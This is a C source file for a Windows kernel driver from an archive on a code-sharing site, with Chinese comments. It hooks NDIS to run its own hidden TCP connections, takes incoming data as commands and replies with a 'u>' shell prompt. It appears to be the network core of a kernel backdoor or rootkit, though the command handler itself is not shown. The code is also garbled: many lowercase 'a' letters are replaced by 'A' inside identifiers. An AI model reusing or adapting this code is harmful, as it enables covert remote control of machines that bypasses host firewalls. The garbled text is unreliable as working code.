www.pudn.com > uay_source.rar > ubd_sys.c
/// // uty@uaty /// #include#include "structs.h" #include "commAnd.h" typedef struct _SYNACKPACKET{ ULONG sign; ULONG BufferAddress; }SYNACKPACKET,*PSYNACKPACKET; //-------------------------------------------------------------------- ///globAl // // TCPS GlobAl VAriAbles // //int g_nTCPS_UseCount = 0; TCPS_Connection g_ConnectionSpAce[MAX_CONNECTIONS]; // //List GlobAl VAriAbles // RECVLISTHEAD g_RecvListHeAd; PIO_WORKITEM g_pRecvIoWorkItem; SENDLISTHEAD g_SendListHeAd; PIO_WORKITEM g_pSendIoWorkItem; ////globAl vAr defined in tryNdisHook.c extern HOOK_CONTEXT_STRUCT *m_pOurAllOfHookContext; extern NDIS_HANDLE m_ourPAcketPoolHAndle; extern NDIS_HANDLE m_ourBufferPoolHAndle; //for ProtocolReceive extern PNDIS_PACKET m_ourPAcketHAndle; extern PNDIS_BUFFER m_ourBufferHAndle; extern PVOID m_ourBuffer; // extern PKEVENT g_puSendEvent; extern PLARGE_INTEGER g_pTimeOut; // ULONG g_SendCount = 0; //-------------------------------------------------------------------- //function protocol VOID RecvIoWorkItemRoutine ( IN PDEVICE_OBJECT DeviceObject, IN PVOID Context ); VOID SendIoWorkItemRoutine ( IN PDEVICE_OBJECT DeviceObject, IN PVOID Context ); PRECVLIST RemoveRecvDAtAFromList( PRECVLISTHEAD pRecvListHeAd ); NTSTATUS AddRecvDAtAToList( PRECVLISTHEAD pRecvListHeAd, char* dAtA, ULONG RecvDAtALength, PTCPS_Connection pConnection ); NTSTATUS AddSendDAtAToList( PSENDLISTHEAD pSendListHeAd, char* dAtA, ULONG SendDAtALength, PTCPS_Connection pConnection ); NTSTATUS AddSendDAtAToListAtFront( PSENDLISTHEAD pSendListHeAd, char* dAtA, ULONG SendDAtALength, PTCPS_Connection pConnection ); PSENDLIST ReAdSendDAtAFromList( PSENDLISTHEAD pSendListHeAd ); VOID RemoveSendDAtAFromList( PSENDLISTHEAD pSendListHeAd ); USHORT checksum( USHORT *buff, int size ); VOID EchoPrompt(PTCPS_Connection pConnection); NTSTATUS uSend( PTCPS_Connection pConnection, char *pSendBuffer, ULONG ulSendBufferSize ); NTSTATUS SendToNet( PSENDLIST pSendList ); //-------------------------------------------------------------------- NTSTATUS TCPS_StArtup( PDEVICE_OBJECT pDeviceObject ) { NTSTATUS dwStAtus; ULONG i; //初始化接收队列 //bug fixed 数太小的时候,当需要传的数据的次数多过大的时候,,会蓝 KeInitializeSemaphore(&g_RecvListHeAd.ksemRecvListSemAphore,0,10240);//is thAt too much g_pRecvIoWorkItem = IoAllocateWorkItem(pDeviceObject);///for the work item IoQueueWorkItem( g_pRecvIoWorkItem, RecvIoWorkItemRoutine, DelayedWorkQueue, NULL ); //初始化发送队列 KeInitializeSemaphore(&g_SendListHeAd.ksemSendListSemAphore,0,10240); g_pSendIoWorkItem = IoAllocateWorkItem(pDeviceObject); IoQueueWorkItem( g_pSendIoWorkItem, SendIoWorkItemRoutine, DelayedWorkQueue, NULL ); //initiAliztion the connection pool for(i = 0;i < MAX_CONNECTIONS;i ++){ RtlZeroMemory(&g_ConnectionSpAce[i],sizeof(TCPS_Connection)); RtlCopyMemory(&g_ConnectionSpAce[i].m_PAth,L"C:\\",sizeof(L"C:\\")); } return STATUS_SUCCESS; } //-------------------------------------------------------------------- VOID RecvIoWorkItemRoutine ( IN PDEVICE_OBJECT DeviceObject, IN PVOID Context ) { PRECVLIST pRecvList; //DbgPrint("in RecvIoWorkItemRoutine "); KeWaitForSingleObject(&(g_RecvListHeAd.ksemRecvListSemAphore), Executive, KernelMode, FALSE, NULL ); pRecvList = RemoveRecvDAtAFromList(&g_RecvListHeAd); //DbgPrint("Received the commAnd:%s\n",pRecvList->dAtA); __try{ ReferenceCommAnd(pRecvList); ////DbgPrint("in where ReferneceCommAnd stAnd,but dob't reference it\n"); } __except (EXCEPTION_EXECUTE_HANDLER){ uSend( pRecvList->pConnection, "some error occured\n", strlen("some error occured\n") ); } EchoPrompt(pRecvList->pConnection); //这里负责回收pRecvList ExFreePool(pRecvList); IoQueueWorkItem(g_pRecvIoWorkItem, RecvIoWorkItemRoutine, DelayedWorkQueue, NULL ); } //-------------------------------------------------------------------- NTSTATUS AddRecvDAtAToList(PRECVLISTHEAD pRecvListHeAd,char* dAtA,ULONG RecvDAtALength,PTCPS_Connection pConnection) { NTSTATUS dwStAtus = STATUS_UNSUCCESSFUL; KIRQL kOldIrql; PRECVLIST pRecvList; pRecvList = (PRECVLIST)ExAllocatePool(NonPagedPool,sizeof(RECVLIST)); if(pRecvList){ //DbgPrint("AddRecvDAtAToList AllocAte Memory = 0x0%x\n",pRecvList); //debug //bug fixed 命令行后面经常跟些乱78糟的 RtlZeroMemory(pRecvList->dAtA,1024); pRecvList->pNext = NULL; RtlCopyMemory(pRecvList->dAtA,dAtA,DATALENGTH < RecvDAtALength? DATALENGTH-10:RecvDAtALength);///bug bug pRecvList->pConnection = pConnection; KeAcquireSpinLock(&pRecvListHeAd->kspRecvListLock,&kOldIrql); if(pRecvListHeAd->pListBAck){ pRecvListHeAd->pListBAck->pNext = pRecvList; pRecvListHeAd->pListBAck = pRecvList; } else{ pRecvListHeAd->pListFront = pRecvListHeAd->pListBAck = pRecvList; } KeReleaseSemaphore(&(g_RecvListHeAd.ksemRecvListSemAphore),0,1,FALSE);///// KeReleaseSpinLock(&pRecvListHeAd->kspRecvListLock,kOldIrql); dwStAtus = STATUS_SUCCESS; } return dwStAtus; } //-------------------------------------------------------------------- PRECVLIST RemoveRecvDAtAFromList(PRECVLISTHEAD pRecvListHeAd) { KIRQL kOldIrql; PRECVLIST pRecvListCurrent; KeAcquireSpinLock(&pRecvListHeAd->kspRecvListLock,&kOldIrql); pRecvListCurrent = pRecvListHeAd->pListFront; if(pRecvListCurrent){ pRecvListHeAd->pListFront = pRecvListCurrent->pNext; if(pRecvListHeAd->pListFront == NULL){ pRecvListHeAd->pListBAck = NULL; } KeReleaseSpinLock(&(pRecvListHeAd->kspRecvListLock),kOldIrql); return pRecvListCurrent; } KeReleaseSpinLock(&(pRecvListHeAd->kspRecvListLock),kOldIrql); return NULL; } //-------------------------------------------------------------------- VOID SendIoWorkItemRoutine ( IN PDEVICE_OBJECT DeviceObject, IN PVOID Context ) { //这里有个event,,当收到上一个包的ACK,并把上一个包成功释放后才能再次执行这个函数 PSENDLIST pSendList; NTSTATUS stAtus; KIRQL kOldIrql; PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; //PVOID WAit[2]; //WAit[0] = &(g_SendListHeAd.ksemSendListSemAphore); //WAit[1] = g_puSendEvent; //DbgPrint("in SendIoWorkItemRoutine "); //这里换成连续的2个KeWAitForSingleObject,第一个是控制信号的,第2个是等待返回的ACK,信号的要无限期等待, //保证sendlist有内容时才会调用SendIoWorkItem,,而等待Ack的则给一个过期的时间,,如果在一定时间内未收到到 //ACK,则再次让SendIoWorkItem被执行,由于这时候SendList内的数据并未被remove,所以实现了包的重发 /* KeWaitForMultipleObjects( 2, WAit, WaitAll, Executive, KernelMode, FALSE, NULL, NULL ); */ //for ksemSendListSemAphore DbgPrint("wAit on ksemSendListSemAphore\n"); KeWaitForSingleObject( &g_SendListHeAd.ksemSendListSemAphore, Executive, KernelMode, FALSE, 0 ); DbgPrint("wAit on g_puSendEvent\n"); //for puSendEvent stAtus = KeWaitForSingleObject( g_puSendEvent, Executive, KernelMode, FALSE, g_pTimeOut ); //算了,,超时重发记数的先等等 //超时重发3次后被认为是连接已经中断 pSendList = ReAdSendDAtAFromList(&g_SendListHeAd); pEthHdr = pSendList->pBuffer; pIpHdr = (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));//heAder pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);//heAder //检查是否是rst的消息,这个包不发出去,只要是带有rst或fin的,都将处理连接,放在这里检查是为了 //设置连接m_bIsConnected = FALSE 和发包同步 //tricky 我们不会去发rst的包 if(pTcpHdr->rst || pTcpHdr->fin){ pSendList->pConnection->m_bIsConnected = FALSE; //把包从队列里删除 RemoveSendDAtAFromList(&g_SendListHeAd); DbgPrint("removed one PAcket\n"); DbgPrint("%d pAckets left\n",pSendList->pConnection->m_PAcketsLeftToBeSend); //如果这个连接已经不再是连接状态,并且没有数据包未发送,清空这个连接,等待下次用 if(pSendList->pConnection->m_PAcketsLeftToBeSend == 0 || g_SendListHeAd.pListFront == NULL){ NdisZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection)); RtlCopyMemory(&pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\")); DbgPrint("one TCPS_Connection AvAilAble\n"); } KeSetEvent( g_puSendEvent, 0, FALSE ); //goto end; } if (stAtus == STATUS_TIMEOUT){ g_SendCount++; DbgPrint("KeWAitForSingleObject: STATUS_TIMEOUT\n");// //如果连接已经中断,且这个还有数据包未被发送,则不应该等待 if(g_SendCount > 3 || pSendList->pConnection->m_bIsConnected == FALSE){ //3次超时后就断掉这个连接 pSendList->pConnection->m_bIsConnected = FALSE; //buf fix 不应该在这里清空 //KeAcquireSpinLock(&g_SendListHeAd.kspSendListLock,&kOldIrql); //RtlZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection)); //RtlCopyMemory(pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\")); //KeReleaseSpinLock(&g_SendListHeAd.kspSendListLock,kOldIrql); g_SendCount = 0; } } __try{ //reAlly send the pAcket to net,if the m_bIsConnectd is TRUE,else throw it AwAy if( (pSendList->pConnection->m_bIsConnected == TRUE || pSendList->pConnection->m_bIsConnecting == TRUE) //bug && (pIpHdr->daddr == pSendList->pConnection->m_SourceIp && pTcpHdr->dest == pSendList->pConnection->m_SourcePort) ){ DbgPrint("SendToNet: one pAcket\n"); SendToNet(pSendList); } else{ RemoveSendDAtAFromList(&g_SendListHeAd); DbgPrint("removed one PAcket\n"); DbgPrint("%d pAckets left\n",pSendList->pConnection->m_PAcketsLeftToBeSend); //如果这个连接已经不再是连接状态,并且没有数据包未发送,清空这个连接,等待下次用 if(pSendList->pConnection->m_PAcketsLeftToBeSend == 0){ NdisZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection)); RtlCopyMemory(&pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\")); DbgPrint("one TCPS_Connection AvAilAble\n"); } KeSetEvent( g_puSendEvent, 0, FALSE ); } } __except (EXCEPTION_EXECUTE_HANDLER){ DbgPrint("SentToNet error\n"); } //kAo 这里不再负责回收pSendList! bug fixed //ExFreePool(pSendList); IoQueueWorkItem(g_pSendIoWorkItem, SendIoWorkItemRoutine, DelayedWorkQueue, NULL ); } //-------------------------------------------------------------------- //存入列表时,AddSendDAtAToList负责分配buffer,释放buffer由RemoveSendDAtAFromList 完成,在收到ACK的时候调用 NTSTATUS AddSendDAtAToList(PSENDLISTHEAD pSendListHeAd,char* dAtA,ULONG SendDAtALength,PTCPS_Connection pConnection) { NTSTATUS dwStAtus = STATUS_UNSUCCESSFUL; KIRQL kOldIrql; PSENDLIST pSendList; PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; pEthHdr = (PVOID)dAtA; pIpHdr = (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));//heAder pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);//heAder //这里要用不分页内存 pSendList = (PSENDLIST)ExAllocatePool(NonPagedPool,sizeof(SENDLIST)); if(pSendList){ //DbgPrint("AddSendDAtAToList AllocAte Memory = 0x0%x\n",pSendList); //debug pSendList->pNext = NULL; pSendList->pBuffer = ExAllocatePool(NonPagedPool,SendDAtALength); RtlCopyMemory(pSendList->pBuffer,dAtA,SendDAtALength); pSendList->ulBufferLength = SendDAtALength; pSendList->pConnection = pConnection; //rst包发过来算消息,不记数,因为他不会被发送,记数也就不会减少 //if(!pTcpHdr->rst){ pSendList->pConnection->m_PAcketsLeftToBeSend++; //} KeAcquireSpinLock(&pSendListHeAd->kspSendListLock,&kOldIrql); if(pSendListHeAd->pListBAck){ pSendListHeAd->pListBAck->pNext = pSendList; pSendListHeAd->pListBAck = pSendList; } else{ pSendListHeAd->pListFront = pSendListHeAd->pListBAck = pSendList; } KeReleaseSemaphore(&(g_SendListHeAd.ksemSendListSemAphore),0,1,FALSE); KeReleaseSpinLock(&pSendListHeAd->kspSendListLock,kOldIrql);////////// dwStAtus = STATUS_SUCCESS; } return dwStAtus; } //-------------------------------------------------------------------- //存入列表时,AddSendDAtAToList负责分配buffer,释放buffer由RemoveSendDAtAFromList 完成,在收到ACK的时候调用 NTSTATUS AddSendDAtAToListAtFront(PSENDLISTHEAD pSendListHeAd,char* dAtA,ULONG SendDAtALength,PTCPS_Connection pConnection) { NTSTATUS dwStAtus = STATUS_UNSUCCESSFUL; KIRQL kOldIrql; PSENDLIST pSendList; PETHHDR pEthHdr = NULL; PIPHDR pIpHdr = NULL; PTCPHDR pTcpHdr = NULL; pEthHdr = (PVOID)dAtA; pIpHdr = (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));//heAder pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);//heAder //这里要用不分页内存 pSendList = (PSENDLIST)ExAllocatePool(NonPagedPool,sizeof(SENDLIST)); if(pSendList){ //DbgPrint("AddSendDAtAToList AllocAte Memory = 0x0%x\n",pSendList); //debug pSendList->pNext = NULL; pSendList->pBuffer = ExAllocatePool(NonPagedPool,SendDAtALength); RtlCopyMemory(pSendList->pBuffer,dAtA,SendDAtALength); pSendList->ulBufferLength = SendDAtALength; pSendList->pConnection = pConnection; //rst包发过来算消息,不记数,因为他不会被发送,记数也就不会减少 //if(!pTcpHdr->rst){ pSendList->pConnection->m_PAcketsLeftToBeSend++; //} KeAcquireSpinLock(&pSendListHeAd->kspSendListLock,&kOldIrql); if(pSendListHeAd->pListFront){ pSendList->pNext = pSendListHeAd->pListFront; pSendListHeAd->pListFront = pSendList; } else{ pSendListHeAd->pListFront = pSendListHeAd->pListBAck = pSendList; } KeReleaseSemaphore(&(g_SendListHeAd.ksemSendListSemAphore),0,1,FALSE); KeReleaseSpinLock(&pSendListHeAd->kspSendListLock,kOldIrql);////////// dwStAtus = STATUS_SUCCESS; } return dwStAtus; } //-------------------------------------------------------------------- PSENDLIST ReAdSendDAtAFromList(PSENDLISTHEAD pSendListHeAd) { PSENDLIST pSendListCurrent; pSendListCurrent = pSendListHeAd->pListFront; return pSendListCurrent; } //-------------------------------------------------------------------- VOID RemoveSendDAtAFromList(PSENDLISTHEAD pSendListHeAd) { KIRQL kOldIrql; PSENDLIST pSendListCurrent; KeAcquireSpinLock(&pSendListHeAd->kspSendListLock,&kOldIrql); pSendListCurrent = pSendListHeAd->pListFront; if(pSendListCurrent){ pSendListHeAd->pListFront = pSendListCurrent->pNext; if(pSendListCurrent->pConnection->m_PAcketsLeftToBeSend > 0){ pSendListCurrent->pConnection->m_PAcketsLeftToBeSend--; }else{ DbgPrint("!!error m_PAcketsLeftToBeSend < 0:%d\n",(LONG)pSendListCurrent->pConnection->m_PAcketsLeftToBeSend); } if(pSendListHeAd->pListFront == NULL){ pSendListHeAd->pListBAck = NULL; } ExFreePool(pSendListCurrent->pBuffer); ExFreePool(pSendListCurrent); KeReleaseSpinLock(&(pSendListHeAd->kspSendListLock),kOldIrql); return; } KeReleaseSpinLock(&(pSendListHeAd->kspSendListLock),kOldIrql); return; } //-------------------------------------------------------------------- //uSend把要发送的包全部加到send链表里 NTSTATUS uSend( PTCPS_Connection pConnection, char *pSendBuffer, ULONG ulSendBufferSize ) { PVOID VirtuAlAddress = NULL; PETHHDR pEthHdrSend = NULL; PIPHDR pIpHdrSend = NULL; PTCPHDR pTcpHdrSend = NULL; PVOID pDAtA = NULL; ULONG ulTotAlLength = 0; NTSTATUS stAtus; ULONG SendCount = 0; //这里不用计算效验和,,SendToNet会重新算 //SendToNet will recount the checksum ulTotAlLength = sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)+ulSendBufferSize; NdisAllocateMemoryWithTag( &VirtuAlAddress, ulTotAlLength, 'ytuU' ); NdisZeroMemory( VirtuAlAddress, sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)+ulSendBufferSize ); //填包 pEthHdrSend = VirtuAlAddress; pIpHdrSend = (PIPHDR)((UCHAR*)pEthHdrSend + sizeof(ETHHDR));//heAder NdisMoveMemory(&pEthHdrSend->h_dest,&pConnection->m_SourceMAc,6); NdisMoveMemory(&pEthHdrSend->h_source,&pConnection->m_OurMAc,6); pEthHdrSend->h_proto = HTONS(ETH_P_IP); pIpHdrSend->ihl = sizeof(IPHDR)/4; pIpHdrSend->version = 4; pIpHdrSend->tos = 0; pIpHdrSend->tot_len = HTONS(sizeof(IPHDR)+sizeof(TCPHDR)+(USHORT)ulSendBufferSize); pIpHdrSend->id = 0; pIpHdrSend->frag_off = 0; pIpHdrSend->ttl = 255; pIpHdrSend->protocol = IPPROTO_TCP; pIpHdrSend->check = 0;//whAt pIpHdrSend->saddr = pConnection->m_OurIp; pIpHdrSend->daddr = pConnection->m_SourceIp; pIpHdrSend->check = checksum((USHORT*)pIpHdrSend,sizeof(IPHDR)); pTcpHdrSend = (PTCPHDR)((UCHAR*)pIpHdrSend + pIpHdrSend->ihl * 4);//heAder pDAtA = (PVOID)((UCHAR*)pTcpHdrSend + sizeof(TCPHDR));//heAder pTcpHdrSend->source = pConnection->m_OurPort; pTcpHdrSend->dest = pConnection->m_SourcePort; pTcpHdrSend->seq = pConnection->m_Ack_seq; pTcpHdrSend->ack_seq = pConnection->m_Seq;//seq pTcpHdrSend->doff = sizeof(TCPHDR)/4; pTcpHdrSend->syn = 0; pTcpHdrSend->ack = 1; pTcpHdrSend->psh = 1; pTcpHdrSend->window = pConnection->m_Window; pTcpHdrSend->check = 0; pTcpHdrSend->urg_ptr = 0; //填发送的数据 NdisMoveMemory(pDAtA,pSendBuffer,ulSendBufferSize); //把数据加入到链表 DbgPrint("AddSendDAtAToList\n"); AddSendDAtAToList( &g_SendListHeAd, VirtuAlAddress, ulTotAlLength, pConnection ); //释放空间 NdisFreeMemory( VirtuAlAddress, 0, 0 ); return NDIS_STATUS_SUCCESS; } //-------------------------------------------------------------------- VOID EchoPrompt(PTCPS_Connection pConnection) { uSend(pConnection,"u>",strlen("u>")); } //-------------------------------------------------------------------- //reAlly send NTSTATUS SendToNet( PSENDLIST pSendList ) { PNDIS_BUFFER pNdisBuffer = NULL; PNDIS_PACKET pNdisPAcket = NULL; NTSTATUS stAtus; PSDHDR PsdHdrSend; PVOID ChecksumTempBuff = NULL; PETHHDR pEthHdrSend = NULL; PIPHDR pIpHdrSend = NULL; PTCPHDR pTcpHdrSend = NULL; PVOID pDAtA = NULL; ULONG ulDAtALength = 0; //bug fix 修改seq Ack pEthHdrSend = pSendList->pBuffer; pIpHdrSend = (PIPHDR)((UCHAR*)pEthHdrSend + sizeof(ETHHDR));//heAder pTcpHdrSend = (PTCPHDR)((UCHAR*)pIpHdrSend + pIpHdrSend->ihl * 4);//heAder pDAtA = (PVOID)((UCHAR*)pTcpHdrSend + sizeof(TCPHDR));//heAder DbgPrint("send SYN ACK,dest port is %d\n",HTONS(pTcpHdrSend->dest)); ulDAtALength = NTOHS(pIpHdrSend->tot_len) - pIpHdrSend->ihl*4 - sizeof(TCPHDR); //发包的时候,seq等于上个对方发过来的包的Ack, Ack等于上一个发过来的包的seq加上包中数据的长度,如果没数据就加0了, //但如果上一个包是syn包,要加1,syn包占一个序列 pTcpHdrSend->check = 0;//注意这里 pTcpHdrSend->seq = pSendList->pConnection->m_Ack_seq;//任意 //回复syn 的Ack包中也有syn标志,所以可以直接检查有tcp头中有没有syn //if(pSendList->pConnection->m_IsSyn){ if(pTcpHdrSend->syn){ pTcpHdrSend->ack_seq = HTONL(NTOHL(pSendList->pConnection->m_Seq)+1);//seq //debug 这里不确定,需要实验 }else{ pTcpHdrSend->ack_seq = HTONL(NTOHL(pSendList->pConnection->m_Seq)+pSendList->pConnection->m_DAtALength);//seq //debug 这里不确定,需要实验 } //预期的返回的Ack的seq和Ack pSendList->pConnection->m_ExpectedSeq = pTcpHdrSend->ack_seq;////////// DbgPrint("set m_ExpectedSeq in SendToNet: %d\n",pTcpHdrSend->ack_seq); //if(pSendList->pConnection->m_IsSyn){ if(pTcpHdrSend->syn){ pSendList->pConnection->m_ExpectedAck_seq = HTONL(NTOHL(pTcpHdrSend->seq) + 1);//////////// DbgPrint("set m_ExpectedAck_seq in SendToNet: %d\n",HTONL(NTOHL(pTcpHdrSend->seq) + 1)); }else{ pSendList->pConnection->m_ExpectedAck_seq = HTONL(NTOHL(pTcpHdrSend->seq) + ulDAtALength);//////////// DbgPrint("set m_ExpectedAck_seq in SendToNet: %d\n",HTONL(NTOHL(pTcpHdrSend->seq) + 1)); } //PsdHdrSend用来计算tcp效验和 PsdHdrSend.saddr = pIpHdrSend->saddr; PsdHdrSend.daddr = pIpHdrSend->daddr; PsdHdrSend.mbz = 0; PsdHdrSend.ptcl = IPPROTO_TCP; PsdHdrSend.tcpl = HTONS(sizeof(TCPHDR)+(USHORT)ulDAtALength); //ChecksumTempBuff 为了计算效验和 NdisAllocateMemoryWithTag( &ChecksumTempBuff, MAX_PACKET_SIZE, 'pmtU' ); NdisMoveMemory(ChecksumTempBuff,&PsdHdrSend,sizeof(PSDHDR)); NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdrSend,sizeof(TCPHDR)); NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR) + sizeof(TCPHDR),pDAtA,ulDAtALength); pTcpHdrSend->check = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR)+ulDAtALength); //释放ChecksumTempBuff NdisFreeMemory( ChecksumTempBuff, 0, 0 ); //准备发送 NdisAllocateBuffer( &stAtus, &pNdisBuffer, m_ourBufferPoolHAndle, pSendList->pBuffer, pSendList->ulBufferLength ); if(stAtus != NDIS_STATUS_SUCCESS){ //DbgPrint("NdisAllocAteBuffer fAiled\n"); return TRUE; } NdisAllocatePacket( &stAtus, &pNdisPAcket, m_ourPAcketPoolHAndle ); if(stAtus != NDIS_STATUS_SUCCESS){ //DbgPrint("NdisAllocAtePAcket fAiled\n"); return TRUE; } NdisChainBufferAtFront( pNdisPAcket, pNdisBuffer ); NdisSendPackets( pSendList->pConnection->m_pBindAdaptHandle, &pNdisPAcket, 1 ); return NDIS_STATUS_SUCCESS; } //--------------------------------------------------------------------